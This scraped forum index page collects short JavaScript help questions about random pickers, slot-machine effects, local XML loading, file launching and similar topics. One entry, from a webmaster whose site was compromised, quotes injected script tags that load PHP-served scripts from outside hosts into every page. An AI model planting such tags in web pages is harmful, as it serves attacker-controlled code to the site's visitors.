Slot Machine Style Random Name Picker
Feb 26, 2009
i need a way to visually shuffle through a bunch of names and pick one at random. i found some code for a javascript slot machine and hacked at it.
the result is attached.
when you click on the logo, it's supposed to display 25 names then stop on the last one. instead, it just display undefined. i'm not exactly sure why, but i think that the spinem function can't access the array of names.
View 7 Replies
ADVERTISEMENT
Jan 18, 2010
I'm trying to make a slot machine effect in JS - i had an ajax example but was far too complicated to manipulate to communicate with my server so im working from ground up.
The way ive done it is simple html and a submit button.
But i want the submit button to first create a "rolling through the images" affect like a slot machine does - then stop left to right in that order (basically like a slot machine does).
Now this is beyond what i know in JS but i then also want it to know the result of the images store them into an array and push it to my PHP so i can process it on my server.
View 2 Replies
View Related
Sep 4, 2010
I'm working on a script that picks out a random entry in an array every 10seconds and show it to the user (using document.write). So far I've got the "Randomizer" to work like this:
function random(){
var nummer = Math.floor(Math.random()* tekst.length);
return nummer;
}
var tekst = new Array("Different", "Values");
[Code]...
View 10 Replies
View Related
Feb 15, 2011
I need a date AND time picker
I've found plenty of examples of date pickers, but can't find any good time pickers
I found this link which seemed promising
But, the best example doesn't seem to work with my Wordpress installation. Not sure exactly what the problem is - maybe a simple CSS or maybe more involved and be a clash in Jquery code (only guessing)
(The best example I've found is.. but no luck trying to get it to work!)
View 8 Replies
View Related
Dec 5, 2011
I want to 'style' all links on my site with a variable for random colors. I got the variable for the random colors up and running but i can't figure out how to implement the variable to the css.
View 1 Replies
View Related
Jul 23, 2005
My HTML page loads and alerts an XML document on another machine. If I
request the page by machine name or localhost there is no problem. If
i request by IP access denied error occurs.
I think this is because of that only the documents on same machine can
be loaded. Is there any way to load xml documents from another machine?
View 1 Replies
View Related
Jun 2, 2007
I am writing some numerical math programs in Javascript (translating
from C++) and am seeking your advice regarding machine constants.
C++ offers the <cfloatlibrary for accessing machine constants such
as DBL_MIN and DBL_EPSILON. Does Javascript offer comparable values?
If not, can you suggest a method (brute force or otherwise) for
calculating these values myself (in Javascript)?
View 1 Replies
View Related
Jul 10, 2010
<html xmlns="http://www.w3.org/1999/xhtml">
<head id="Head2" runat="server">
<title>Run Executable HTA</title>
[code].....
View 1 Replies
View Related
Jul 30, 2006
I have a js file embedded into additional files to make up the extension.
I want to run a single executable file, but I can't figure out what the relative path is. The path must remain relative, because the user will set the directory.
The js code like so:
runthefile: function(){
const path = "calc.exe"
var file = Components
.classes["@mozilla.org/file/local;1"]
.createInstance(Components.interfaces.nsILocalFile)
file.initWithPath(path)
file.launch()
}
However, it doesn't seem to run calc.exe no matter where I put it. Code:
View 2 Replies
View Related
Sep 5, 2010
i followed my first AJAX tutorial on the web: [URL]
the AJAX is working fine on the site itself, but when i download the source codes provided with the tutorial, it won't run from my machine. i checked this with several tutorials and all same. i.e. no results when run from the desktop machine.
i tried with IE7 and ff 4.0
View 2 Replies
View Related
Oct 4, 2007
I need to find the information about Client machine by using Javascript : Information like : How much Avaliable sapce on clinet's machine ? Need to find RAM size . Operation System. Can we have any built in Active X control to get all these values ?
View 7 Replies
View Related
May 26, 2009
i want to open filedialog on client machine in javascript (in jsp page) ,Following is the code i have written but it is not working
var Frame = new java.awt.Frame();
var fd = new java.awt.FileDialog(Frame, "Browse File",java.awt.FileDialog.SAVE);
fd.toFront();
fd.show();
var getDirectory = new java.awt.FileDialog(Frame);
[Code]...
View 3 Replies
View Related
Dec 5, 2002
I want to make an extensive browser/fileupload script inspired on windows Explorer... A server side listing of the files and directories with the home directory specified in the script and a listing of the clients files. The server side part can be found on http://vegeta.evilkalah.be ... The idea now is to make it possible to upload or download (maybe drag and drop) files from on side to the other. I don't know how I best make the client side. So on this part any help is welcome...
View 6 Replies
View Related
Feb 27, 2009
I'm about to start a project where the application is one used on a publicly accessed machine. It could be like, say, a ticket purchasing application in a kiosk machine; or maybe touch-screen app that tells grocery shoppers which aisle has coffee, etc.
So my question is, can javascript (or some other language?) be used to open a window without any controls (toolbars, menubars, titlebars, frame, etc) so that the user can't close the application (or resize, change, etc.)?
View 5 Replies
View Related
Oct 30, 2005
I've written a slideshow script which loads and displays a series of >1Mb images from the local machine. Each image is loaded twice - once to get the dimensions and once to be shown on the screen, so it can be dynamically resized by another script.
This script runs without problems in Opera and Internet Explorer, no matter how many times it's executed. However, after it runs a couple dozen times in Firefox, the width and height attributes of the image start returning 0. It seems like the loading has slowed down considerably and the script starts skipping to the next line without waiting for it to finish.
I've tried adding the line while(!image.complete), which works, but invariably causes Firefox to display a message saying the script is causing Firefox to run slowly, and asking if I want to abort.
Is there a way I can flush earlier images from the cache, or somehow free up resources so the script will continue to run as quickly as it does at the start?
View 1 Replies
View Related
Dec 1, 2010
I need to be able to search through an xml located on my local machine with an html page. Here's the thing: this whole system (html files, xml file) will always be on my local machine. Because it's a class project it won't be on a server. So here's the scenario: I navigate to where my files are located (say C:) and I double click my index.html page and this page opens in my browser and from this page I need to be able to search my xml file which is at the same location. I've tried xmlhttprequest and it won't open the xml file I'm guessing because I don't need an http request.
Here's what I have so far:
if (window.XMLHttpRequest) {
xmlhttp=new XMLHttpRequest();
} else {
xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
} xmlhttp.open("GET","C:MovieDB.xml",false);
xmlhttp.send(); xmlDoc=xmlhttp.responseXML;
function searchDB() {
if(!xmlDoc){
alert("error")
} var keyword = $('#txtBox').val();
var searchVal = $('#basicCategory :selected').text();
var allitems = xmlDoc.getElementsByTagName("Movie");
for(var i=0;i<allitems.length;i++){
alert(allitems[i].getElementsByTagName(searchVal[0].
childNodes[0].nodeValue);
} }
The code doesn't make it past the xmlhttp.send() line.
View 1 Replies
View Related
Feb 6, 2010
On uploading files (PHP and javascript) to the server from local machine via dreamweaver, Google Chrome reported the presence of malicious codes (like loto-49) inside the server page. Later when I checked, I found that a HTML Code:document.write('....loto-49.com....'); was automatically added at the end of each javascript *.js files. On their removal, the warnings were gone.Recently, they again appeared. Between the closure of the head tag (</head>) and the start of the body tag(<body>) the following code is added automatically:
HTML Code:
<script src=http://hilalgroup.com/images/gifimg.php ></script> <script src=http://pianotainment.com/images/gifimg.php ></script>
[code]....
View 7 Replies
View Related
Nov 8, 2010
in Gmail (I've noticed it in other services too..)after you log in, progress bar appears. What does it do? Uploads all the JS(containing ajax) files into client's machine? or what?
View 1 Replies
View Related
Jul 26, 2011
How can Iload and parse a json file saved in our remote serverfrom my local machine? I can load and parse the copy I saved in my local machine, but I can notwork with the remote copy. The following is the code I tested:
<
html>
<
[code].....
View 1 Replies
View Related
Aug 19, 2009
Java Applet Development - JavaScript code to check whether JRE is installed on client machine.
View 4 Replies
View Related
May 5, 2010
My understanding had been that $.css("width") would return the original user selected style, eg "100%" or "10em", and $.width() returned the computed width, always in "px". Not so, following the code through for .css(), it calls something called getComputedStyle and the only difference between the two functions turns out to be a post-fix of "px" on the .css() result - not very useful. I need to know whether my user has called me with a proportional dimension, or a fixed one. How to tell with jQuery?
View 1 Replies
View Related
Apr 24, 2009
I have built a website and I wish to hide my code between "style type="text/css">....</style>
Is there a way to hide the code between it?
View 5 Replies
View Related
Aug 31, 2011
I'm trying to use Javascript to have an array of images that load randomly AND work in a slideshow manner so change every 3 seconds (in a logical order). The code I have below presents a random image but how do I get them to continue from the random image and change to the next every 3 seconds?
<script language="JavaScript">
images = new Array(3);
images[0] = "<a href = 'photo1.html'><img src='images/photo1.jpg' alt='Photo 1'></a>";
images[1] = "<a href = 'photo2.html'><img src='images/photo2.jpg' alt='Photo 2'></a>";
images[2] = "<a href = 'photo3.html'><img src='images/photo3.jpg' alt='Photo 3'></a>";
[Code]...
View 4 Replies
View Related
Aug 6, 2009
I've looked for a solution to this issue, but it seems like a little different scenario than other situations. I made a system for generating friend requests on Facebook. I have a grid that is 6 x 3, for a total of 18 cells. Each cell has a picture in it, and the picture is linked to the Facebook friend request page. My problem is that since each cell is populated at random from the array, I'm getting lots of repeats. For example, some picutures are in 5 cells, and some are in none. I'm trying to figure out how to make it so that once a picture is used once in the grid, it does not get used again in the same grid.I still want every cell filled at random on each page load, I just want to prevent the repeating.
Here's my current code:
<script type="text/javascript">
var vip_list=new Array(
new Array('http://profile.ak.fbcdn.net/v225/1616/88/s1220771654_2158.jpg','http://www.facebook.com/addfriend.php?id=1220771654'),
new Array('http://profile.ak.fbcdn.net/v223/1233/29/s904885342_9055.jpg','http://www.facebook.com/addfriend.php?id=904885342'),
[Code]...
View 6 Replies
View Related
Oct 12, 2011
This is probably quite a simple problem but I can't figure out the answer. I'm working on a site that has news stories and events coming in. What I would like is to have the news stories to be styled with squares and events with discs for instance. I might be able to change the actual plug-in so the CSS affects this change, but I just wondered how I could change the list-style-type with jQuery.
[Code]...
View 3 Replies
View Related
Apr 18, 2011
For my website I would like to create a famous last words generator (randomized), and random page generator (within my site). What is the code for random quotes and random links?
View 2 Replies
View Related